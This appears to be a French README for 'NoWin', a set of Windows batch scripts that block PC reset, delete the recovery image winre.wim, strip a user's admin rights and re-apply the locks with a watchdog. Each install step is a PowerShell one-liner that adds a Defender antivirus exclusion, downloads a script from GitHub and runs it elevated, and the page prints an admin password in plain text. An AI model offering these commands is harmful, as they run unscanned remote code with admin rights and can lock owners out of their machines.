📖 Documentation complète | 🔑 Mot de passe admin: uyy
C'est la méthode recommandée. Lance un menu interactif qui permet de lancer tous les outils depuis une seule interface (télécharge automatiquement les autres scripts si besoin).
$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/NoWin.bat" -OutFile "$p\NoWin.bat"; Start-Process "$p\NoWin.bat" -Verb RunAsNoWin.bat est maintenant l'orchestrateur central :
- Il pilote tous les scripts depuis le menu.
- Il supporte les commandes directes (sans interface).
- Avec
--yes, il valide automatiquement les confirmations des scripts compatibles. - En mode
--yes, il lance aussi un pre-check AutoUpdate avant l'action (sauf--skip-update).
Exemples de commandes directes via NoWin.bat :
# Lockdown silencieux via orchestrateur
Start-Process "$env:USERPROFILE\Downloads\NoWin\NoWin.bat" -ArgumentList "lockdown --yes" -Verb RunAs -Wait
# Verify silencieux
Start-Process "$env:USERPROFILE\Downloads\NoWin\NoWin.bat" -ArgumentList "verify --yes" -Verb RunAs -Wait
# AutoUpdate check / update / install scheduler
Start-Process "$env:USERPROFILE\Downloads\NoWin\NoWin.bat" -ArgumentList "autoupdate-check" -Verb RunAs -Wait
Start-Process "$env:USERPROFILE\Downloads\NoWin\NoWin.bat" -ArgumentList "autoupdate-update --yes" -Verb RunAs -Wait
Start-Process "$env:USERPROFILE\Downloads\NoWin\NoWin.bat" -ArgumentList "autoupdate-install" -Verb RunAs -WaitPermet de verifier/appliquer les mises a jour depuis le depot GitHub, avec mode manuel et mode automatique (tache planifiee SYSTEM).
Le moteur detecte l'etat distant via l'API GitHub (pushed_at) et met a jour uniquement les fichiers presents dans le depot.
$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/AutoUpdate.bat" -OutFile "$p\AutoUpdate.bat"; Start-Process "$p\AutoUpdate.bat" -Verb RunAsExemples en commande directe (sans interface menu NoWin):
# Verifier si une nouvelle version existe
Start-Process "$env:USERPROFILE\Downloads\NoWin\AutoUpdate.bat" -ArgumentList "--check" -Verb RunAs -Wait
# Mettre a jour immediatement
Start-Process "$env:USERPROFILE\Downloads\NoWin\AutoUpdate.bat" -ArgumentList "--update" -Verb RunAs -Wait
# Installer l'auto-update quotidien (03:30, compte SYSTEM)
Start-Process "$env:USERPROFILE\Downloads\NoWin\AutoUpdate.bat" -ArgumentList "--install" -Verb RunAs -WaitSi vous voulez lancer une action spécifique directement (sans passer par le menu), vous pouvez toujours utiliser ces commandes autonomes :
# Avec confirmation
$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/Lockdown.bat" -OutFile "$p\Lockdown.bat"; Start-Process "$p\Lockdown.bat" -Verb RunAs# Mode silencieux (--yes)
$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/Lockdown.bat" -OutFile "$p\Lockdown.bat"; Start-Process "$p\Lockdown.bat" -ArgumentList "--yes" -Verb RunAswinre.wim automatiquement. Vous devez le copier depuis un média d'installation Windows.
# Avec confirmation
$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/Unlock.bat" -OutFile "$p\Unlock.bat"; Start-Process "$p\Unlock.bat" -Verb RunAs# Mode silencieux (--yes)
$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/Unlock.bat" -OutFile "$p\Unlock.bat"; Start-Process "$p\Unlock.bat" -ArgumentList "--yes" -Verb RunAs$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/Verify.bat" -OutFile "$p\Verify.bat"; Start-Process "$p\Verify.bat" -ArgumentList "--yes" -Verb RunAs# Avec confirmation
$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/UserLock.bat" -OutFile "$p\UserLock.bat"; Start-Process "$p\UserLock.bat" -Verb RunAs# Mode silencieux (--yes)
$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/UserLock.bat" -OutFile "$p\UserLock.bat"; Start-Process "$p\UserLock.bat" -ArgumentList "--yes" -Verb RunAs# Avec confirmation
$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/UserUnlock.bat" -OutFile "$p\UserUnlock.bat"; Start-Process "$p\UserUnlock.bat" -Verb RunAs# Mode silencieux (--yes)
$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/UserUnlock.bat" -OutFile "$p\UserUnlock.bat"; Start-Process "$p\UserUnlock.bat" -ArgumentList "--yes" -Verb RunAs$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/force-update-agent.bat" -OutFile "$p\force-update-agent.bat"; Start-Process "$p\force-update-agent.bat" -ArgumentList "--yes" -Verb RunAsLe Watchdog surveille les verrous critiques et les remet en place automatiquement si modifies.
$p="$env:USERPROFILE\Downloads\NoWin"; New-Item -ItemType Directory -Path $p -Force|Out-Null; Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue; Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/LightZirconite/NoWin/main/Watchdog.bat" -OutFile "$p\Watchdog.bat"; Start-Process "$p\Watchdog.bat" -Verb RunAs🔒 Pour BLOQUER le système :
- Lockdown = Bloquer réinitialisation PC
- UserLock = Retirer droits admin d'un utilisateur
🔓 Pour DÉBLOQUER le système :
- Unlock = Restaurer réinitialisation PC
- UserUnlock = Redonner droits admin
💡 Ordre pour réappliquer après modifications :
- D'abord débloquer :
UnlockpuisUserUnlock - Ensuite rebloquer :
LockdownpuisUserLock
- Lockdown supprime
winre.wimdéfinitivement - Unlock ne peut PAS le restaurer automatiquement
- Vous devez copier
winre.wimdepuis un média d'installation Windows - Voir instructions détaillées dans DOCS.md
Accès admin :
- Utilisez le raccourci "Lanceur Admin" (créé par UserLock)
- Ou tapez
runas /user:Administrator cmd(mdp:uyy)